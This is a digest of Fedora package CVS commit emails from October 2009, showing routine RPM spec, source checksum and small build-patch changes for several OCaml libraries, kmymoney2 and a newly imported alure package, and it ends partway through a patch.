Log Message:
New upstream version 1.12.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	23 May 2009 08:12:43 -0000	1.6
+++ .cvsignore	4 Oct 2009 21:03:48 -0000	1.7
@@ -1 +1 @@
-release-1.11.1.tar.bz2
+release-1.12.1.tar.bz2


Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/ocaml-postgresql.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ocaml-postgresql.spec	25 Jul 2009 20:03:37 -0000	1.16
+++ ocaml-postgresql.spec	4 Oct 2009 21:03:49 -0000	1.17
@@ -2,7 +2,7 @@
 %define debug_package %{nil}
 
 Name:           ocaml-postgresql
-Version:        1.11.1
+Version:        1.12.1
 Release:        2%{?dist}
 Summary:        OCaml library for accessing PostgreSQL databases
 
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.1-1
+- New upstream version 1.12.1.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	23 May 2009 08:12:43 -0000	1.6
+++ sources	4 Oct 2009 21:03:49 -0000	1.7
@@ -1 +1 @@
-d293714bd15824db031a47d1c42c1f36  release-1.11.1.tar.bz2
+e912df9259d74c123660072e12335871  release-1.12.1.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 21:08:40 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:08:40 +0000 (UTC)
Subject: rpms/ocaml-sqlite/devel ocaml-sqlite.spec,1.14,1.15
Message-ID: <20091004210840.3D16411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-sqlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32171

Modified Files:
	ocaml-sqlite.spec 
Log Message:
New upstream 1.5.6.


Index: ocaml-sqlite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sqlite/devel/ocaml-sqlite.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ocaml-sqlite.spec	25 Jul 2009 20:05:07 -0000	1.14
+++ ocaml-sqlite.spec	4 Oct 2009 21:08:38 -0000	1.15
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-sqlite
-Version:        1.5.0
-Release:        2%{?dist}
+Version:        1.5.6
+Release:        1%{?dist}
 Summary:        OCaml library for accessing SQLite3 databases
 
 Group:          Development/Libraries
@@ -55,9 +55,7 @@ make all
 
 %check
 pushd test
-# test_stmt test was broken in 1.5.0:
-#tests="test_agg test_db test_exec test_stmt test_fun"
-tests="test_agg test_db test_exec test_fun"
+tests="test_agg test_db test_exec test_stmt test_fun"
 for f in $tests; do
   ocamlopt -I .. str.cmxa sqlite3.cmxa $f.ml -o $f
   ./$f
@@ -106,6 +104,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.5.6-1
+- New upstream version 1.5.6.
+- Upstream tests should be fixed now, so reenable all of them.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rjones at fedoraproject.org  Sun Oct  4 21:13:15 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:13:15 +0000 (UTC)
Subject: rpms/ocaml-pcre/devel .cvsignore, 1.7, 1.8 ocaml-pcre.spec, 1.16,
	1.17 sources, 1.7, 1.8
Message-ID: <20091004211315.57CA611C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-pcre/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1429

Modified Files:
	.cvsignore ocaml-pcre.spec sources 
Log Message:
New upstream version 6.0.1.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pcre/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	23 May 2009 08:11:09 -0000	1.7
+++ .cvsignore	4 Oct 2009 21:13:14 -0000	1.8
@@ -1 +1 @@
-release-6.0.0.tar.bz2
+release-6.0.1.tar.bz2


Index: ocaml-pcre.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pcre/devel/ocaml-pcre.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ocaml-pcre.spec	25 Jul 2009 20:02:52 -0000	1.16
+++ ocaml-pcre.spec	4 Oct 2009 21:13:14 -0000	1.17
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-pcre
-Version:        6.0.0
-Release:        2%{?dist}
+Version:        6.0.1
+Release:        1%{?dist}
 Summary:        Perl compatibility regular expressions (PCRE) for OCaml
 
 Group:          Development/Libraries
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 6.0.1-1
+- New upstream version 6.0.1.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.0.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pcre/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	23 May 2009 08:11:09 -0000	1.7
+++ sources	4 Oct 2009 21:13:14 -0000	1.8
@@ -1 +1 @@
-91081a9147451495f8d2b246ef196983  release-6.0.0.tar.bz2
+9a52fe104be01af086a9ef68a9817e58  release-6.0.1.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 21:17:22 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:17:22 +0000 (UTC)
Subject: rpms/ocaml-res/devel .cvsignore, 1.5, 1.6 ocaml-res.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091004211722.4DF2811C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-res/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3466

Modified Files:
	.cvsignore ocaml-res.spec sources 
Log Message:
New upstream release 3.2.0.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-res/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Mar 2009 14:12:17 -0000	1.5
+++ .cvsignore	4 Oct 2009 21:17:20 -0000	1.6
@@ -1 +1 @@
-release-3.1.1.tar.bz2
+release-3.2.0.tar.bz2


Index: ocaml-res.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-res/devel/ocaml-res.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ocaml-res.spec	25 Jul 2009 20:04:38 -0000	1.10
+++ ocaml-res.spec	4 Oct 2009 21:17:21 -0000	1.11
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-res
-Version:        3.1.1
-Release:        4%{?dist}
+Version:        3.2.0
+Release:        1%{?dist}
 Summary:        OCaml library for resizing arrays and strings
 
 Group:          Development/Libraries
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.2.0-1
+- New upstream release 3.2.0.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-res/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Mar 2009 14:12:17 -0000	1.5
+++ sources	4 Oct 2009 21:17:21 -0000	1.6
@@ -1 +1 @@
-2be2152f0d16e4bb88cdb67a1d46dd21  release-3.1.1.tar.bz2
+21545649743375ef57693fb6f025c48e  release-3.2.0.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 21:17:50 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:17:50 +0000 (UTC)
Subject: rpms/ocaml-sqlite/devel .cvsignore, 1.5, 1.6 ocaml-sqlite.spec, 1.15,
	1.16 sources, 1.5, 1.6
Message-ID: <20091004211750.6231D11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-sqlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3681

Modified Files:
	.cvsignore ocaml-sqlite.spec sources 
Log Message:
Remember to upload new sources.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sqlite/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	23 May 2009 07:56:37 -0000	1.5
+++ .cvsignore	4 Oct 2009 21:17:48 -0000	1.6
@@ -1 +1 @@
-release-1.5.0.tar.bz2
+release-1.5.6.tar.bz2


Index: ocaml-sqlite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sqlite/devel/ocaml-sqlite.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- ocaml-sqlite.spec	4 Oct 2009 21:08:38 -0000	1.15
+++ ocaml-sqlite.spec	4 Oct 2009 21:17:49 -0000	1.16
@@ -3,7 +3,7 @@
 
 Name:           ocaml-sqlite
 Version:        1.5.6
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        OCaml library for accessing SQLite3 databases
 
 Group:          Development/Libraries
@@ -104,7 +104,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.5.6-1
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.5.6-2
 - New upstream version 1.5.6.
 - Upstream tests should be fixed now, so reenable all of them.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sqlite/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	23 May 2009 07:56:37 -0000	1.5
+++ sources	4 Oct 2009 21:17:49 -0000	1.6
@@ -1 +1 @@
-1cdeda5aa3f42125492a17e453878e8e  release-1.5.0.tar.bz2
+c93f7216f4c9f76865c29b9b4612d05c  release-1.5.6.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 21:24:27 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:24:27 +0000 (UTC)
Subject: rpms/ocaml-res/devel ocaml-res.spec,1.11,1.12
Message-ID: <20091004212427.6D57C11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-res/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6466

Modified Files:
	ocaml-res.spec 
Log Message:
Force retag.


Index: ocaml-res.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-res/devel/ocaml-res.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- ocaml-res.spec	4 Oct 2009 21:17:21 -0000	1.11
+++ ocaml-res.spec	4 Oct 2009 21:24:26 -0000	1.12
@@ -3,7 +3,7 @@
 
 Name:           ocaml-res
 Version:        3.2.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        OCaml library for resizing arrays and strings
 
 Group:          Development/Libraries
@@ -92,7 +92,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.2.0-1
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.2.0-2
 - New upstream release 3.2.0.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.1-4



From rdieter at fedoraproject.org  Sun Oct  4 21:26:26 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 21:26:26 +0000 (UTC)
Subject: rpms/kmymoney2/devel .cvsignore, 1.17, 1.18 kmymoney2.spec, 1.45,
	1.46 sources, 1.16, 1.17
Message-ID: <20091004212626.70FCB11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7133/devel

Modified Files:
	.cvsignore kmymoney2.spec sources 
Log Message:
* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
- kmymoney2-1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	7 Sep 2009 03:25:30 -0000	1.17
+++ .cvsignore	4 Oct 2009 21:26:26 -0000	1.18
@@ -1 +1 @@
-kmymoney2-1.0.1.tar.bz2
+kmymoney2-1.0.2.tar.bz2


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/devel/kmymoney2.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- kmymoney2.spec	11 Sep 2009 01:09:52 -0000	1.45
+++ kmymoney2.spec	4 Oct 2009 21:26:26 -0000	1.46
@@ -17,7 +17,7 @@ BuildRequires: libutempter-devel
 
 Summary: Personal finance 
 Name:	 kmymoney2
-Version: 1.0.1
+Version: 1.0.2
 Release: 1%{?dist}
 
 License: GPLv2+
@@ -88,7 +88,7 @@ unset QTDIR || : ; . /etc/profile.d/qt.s
   --disable-rpath \
   --enable-new-ldflags \
   --disable-debug --disable-warnings \
-  --disable-dependency-tracking --disable-final \
+  --disable-dependency-tracking \
   %{?_enable_sqlite3} %{!?_enable_sqlite3:--disable-sqlite3} \
   %{?_enable_ofxbanking} %{!?_enable_ofxbanking: --disable-ofxbanking --disable-ofxplugin } \
   %{?_with_check:--disable-final}
@@ -160,7 +160,6 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_datadir}/icons/locolor &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/oxygen &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/Tango &> /dev/null || :
-
 fi
 
 %posttrans
@@ -212,6 +211,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
+- kmymoney2-1.0.2
+
 * Sun Sep 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.1-1
 - kmymoney2-1.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	7 Sep 2009 03:25:30 -0000	1.16
+++ sources	4 Oct 2009 21:26:26 -0000	1.17
@@ -1 +1 @@
-7c0cb96009946ee83de9160029786389  kmymoney2-1.0.1.tar.bz2
+47de02c4c7e44fb208d2f176764a7f7d  kmymoney2-1.0.2.tar.bz2



From rdieter at fedoraproject.org  Sun Oct  4 21:26:26 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 21:26:26 +0000 (UTC)
Subject: rpms/kmymoney2/F-12 .cvsignore, 1.17, 1.18 kmymoney2.spec, 1.45,
	1.46 sources, 1.16, 1.17
Message-ID: <20091004212626.A2E8311C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7133/F-12

Modified Files:
	.cvsignore kmymoney2.spec sources 
Log Message:
* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
- kmymoney2-1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	7 Sep 2009 03:25:30 -0000	1.17
+++ .cvsignore	4 Oct 2009 21:26:26 -0000	1.18
@@ -1 +1 @@
-kmymoney2-1.0.1.tar.bz2
+kmymoney2-1.0.2.tar.bz2


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-12/kmymoney2.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- kmymoney2.spec	11 Sep 2009 01:09:52 -0000	1.45
+++ kmymoney2.spec	4 Oct 2009 21:26:26 -0000	1.46
@@ -17,7 +17,7 @@ BuildRequires: libutempter-devel
 
 Summary: Personal finance 
 Name:	 kmymoney2
-Version: 1.0.1
+Version: 1.0.2
 Release: 1%{?dist}
 
 License: GPLv2+
@@ -88,7 +88,7 @@ unset QTDIR || : ; . /etc/profile.d/qt.s
   --disable-rpath \
   --enable-new-ldflags \
   --disable-debug --disable-warnings \
-  --disable-dependency-tracking --disable-final \
+  --disable-dependency-tracking \
   %{?_enable_sqlite3} %{!?_enable_sqlite3:--disable-sqlite3} \
   %{?_enable_ofxbanking} %{!?_enable_ofxbanking: --disable-ofxbanking --disable-ofxplugin } \
   %{?_with_check:--disable-final}
@@ -160,7 +160,6 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_datadir}/icons/locolor &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/oxygen &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/Tango &> /dev/null || :
-
 fi
 
 %posttrans
@@ -212,6 +211,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
+- kmymoney2-1.0.2
+
 * Sun Sep 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.1-1
 - kmymoney2-1.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	7 Sep 2009 03:25:30 -0000	1.16
+++ sources	4 Oct 2009 21:26:26 -0000	1.17
@@ -1 +1 @@
-7c0cb96009946ee83de9160029786389  kmymoney2-1.0.1.tar.bz2
+47de02c4c7e44fb208d2f176764a7f7d  kmymoney2-1.0.2.tar.bz2



From rdieter at fedoraproject.org  Sun Oct  4 21:28:15 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 21:28:15 +0000 (UTC)
Subject: rpms/kmymoney2/EL-5 .cvsignore, 1.12, 1.13 kmymoney2.spec, 1.24,
	1.25 sources, 1.11, 1.12
Message-ID: <20091004212815.3F01511C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8046

Modified Files:
	.cvsignore kmymoney2.spec sources 
Log Message:
* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
- kmymoney2-1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/EL-5/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	10 Sep 2009 23:28:12 -0000	1.12
+++ .cvsignore	4 Oct 2009 21:28:14 -0000	1.13
@@ -1 +1 @@
-kmymoney2-1.0.1.tar.bz2
+kmymoney2-1.0.2.tar.bz2


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/EL-5/kmymoney2.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- kmymoney2.spec	11 Sep 2009 00:38:36 -0000	1.24
+++ kmymoney2.spec	4 Oct 2009 21:28:14 -0000	1.25
@@ -17,7 +17,7 @@ BuildRequires: libutempter-devel
 
 Summary: Personal finance 
 Name:	 kmymoney2
-Version: 1.0.1
+Version: 1.0.2
 Release: 1%{?dist}
 
 License: GPLv2+
@@ -88,7 +88,7 @@ unset QTDIR || : ; . /etc/profile.d/qt.s
   --disable-rpath \
   --enable-new-ldflags \
   --disable-debug --disable-warnings \
-  --disable-dependency-tracking --disable-final \
+  --disable-dependency-tracking \
   %{?_enable_sqlite3} %{!?_enable_sqlite3:--disable-sqlite3} \
   %{?_enable_ofxbanking} %{!?_enable_ofxbanking: --disable-ofxbanking --disable-ofxplugin } \
   %{?_with_check:--disable-final}
@@ -160,7 +160,6 @@ if [ $1 -eq 0 ] ; then
   gtk-update-icon-cache %{_datadir}/icons/locolor &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/oxygen &> /dev/null || :
   gtk-update-icon-cache %{_datadir}/icons/Tango &> /dev/null || :
-
 fi
 
 %posttrans
@@ -212,6 +211,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.2-1
+- kmymoney2-1.0.2
+
 * Sun Sep 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.1-1
 - kmymoney2-1.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/EL-5/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	10 Sep 2009 23:28:12 -0000	1.11
+++ sources	4 Oct 2009 21:28:14 -0000	1.12
@@ -1 +1 @@
-7c0cb96009946ee83de9160029786389  kmymoney2-1.0.1.tar.bz2
+47de02c4c7e44fb208d2f176764a7f7d  kmymoney2-1.0.2.tar.bz2



From guidograzioli at fedoraproject.org  Sun Oct  4 22:04:03 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Sun,  4 Oct 2009 22:04:03 +0000 (UTC)
Subject: rpms/alure/devel alure.spec, NONE,
	1.1 alure_compile_with_gcc44.patch, 
	NONE, 1.1 alure_multilib_pkgconfig.patch, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004220403.88B9D11C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/alure/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19610/devel

Modified Files:
	.cvsignore sources 
Added Files:
	alure.spec alure_compile_with_gcc44.patch 
	alure_multilib_pkgconfig.patch import.log 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 




--- NEW FILE alure.spec ---
Name:           alure
Version:        1.0
Release:        4%{?dist}
Summary:        Audio Library Tools REloaded
Group:          System Environment/Libraries
# ALURE code is LGPLv2+; note -devel subpackage has its own license tag
License:        LGPLv2+ 
URL:            http://kcat.strangesoft.net/alure.html
Source0:        http://kcat.strangesoft.net/%{name}-releases/%{name}-%{version}-src.tar.bz2
# patch to compile with GCC 4.4
Patch0:         alure_compile_with_gcc44.patch
# set correct pkgconfig path for multilib
Patch1:         alure_multilib_pkgconfig.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# flac-devel not BRed as build against flac currently fails
BuildRequires:  cmake, libvorbis-devel, libsndfile-devel, openal-devel


%description
ALURE is a utility library to help manage common tasks with OpenAL 
applications. This includes device enumeration and initialization, 
file loading, and streaming.  


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
# Devel doc includes some files under GPLv2+ from NaturalDocs
License:        LGPLv2+ and GPLv2+
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig


%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q 
%patch0 -p1
%patch1 -p1


%build
# disable build against FLAC (currently fails)
%cmake . -DFLAC:BOOL=OFF 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'
# strip installed html doc
rm -rf %{buildroot}%{_docdir}/alure/html


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%doc docs/html examples
%{_includedir}/AL/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 

alure_compile_with_gcc44.patch:
 stream.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE alure_compile_with_gcc44.patch ---
--- A/src/stream.cpp	2009-09-28 04:17:12.511762978 +0200
+++ B/src/stream.cpp	2009-09-28 04:17:25.200016279 +0200
@@ -10,6 +10,7 @@
 #include <vector>
 #include <memory>
 #include <string>
+#include <cstdio>
 
 
 struct nullStream : public alureStream {

alure_multilib_pkgconfig.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE alure_multilib_pkgconfig.patch ---
--- A/CMakeLists.txt	2009-09-28 15:55:01.864452396 +0200
+++ B/CMakeLists.txt	2009-09-28 15:55:28.513440879 +0200
@@ -323,7 +323,7 @@
         DESTINATION "include/${INCPATH}"
 )
 INSTALL(FILES "${ALURE_BINARY_DIR}/alure.pc"
-        DESTINATION lib/pkgconfig
+        DESTINATION ${LIB_INSTALL_DIR}/pkgconfig
 )
 
 


--- NEW FILE import.log ---
alure-1_0-4_fc11:HEAD:alure-1.0-4.fc11.src.rpm:1254693813


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/alure/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:25:45 -0000	1.1
+++ .cvsignore	4 Oct 2009 22:04:02 -0000	1.2
@@ -0,0 +1 @@
+alure-1.0-src.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/alure/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:25:45 -0000	1.1
+++ sources	4 Oct 2009 22:04:03 -0000	1.2
@@ -0,0 +1 @@
+48a81287f2caf2adc5870cd075e70c9c  alure-1.0-src.tar.bz2



From rdieter at fedoraproject.org  Sun Oct  4 22:06:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 22:06:22 +0000 (UTC)
Subject: rpms/kmymoney2/EL-5 kmymoney2-1.0.2-no_it_locale.patch, NONE,
	1.1 kmymoney2.spec, 1.25,
	1.26 kmymoney2-1.0.1-no_it_locale.patch, 1.1, NONE
Message-ID: <20091004220622.2C0A111C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kmymoney2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20191

Modified Files:
	kmymoney2.spec 
Added Files:
	kmymoney2-1.0.2-no_it_locale.patch 
Removed Files:
	kmymoney2-1.0.1-no_it_locale.patch 
Log Message:
update locale patch


kmymoney2-1.0.2-no_it_locale.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE kmymoney2-1.0.2-no_it_locale.patch ---
diff -up kmymoney2-1.0.2/po/Makefile.in.no_it_locale kmymoney2-1.0.2/po/Makefile.in
--- kmymoney2-1.0.2/po/Makefile.in.no_it_locale	2009-10-03 03:26:58.000000000 -0500
+++ kmymoney2-1.0.2/po/Makefile.in	2009-10-04 17:06:37.547913857 -0500
@@ -310,8 +310,8 @@ xdg_menudir = @xdg_menudir@
 ####### kdevelop will overwrite this part!!! (end)############
 #>- POFILES = AUTO
 #>+ 2
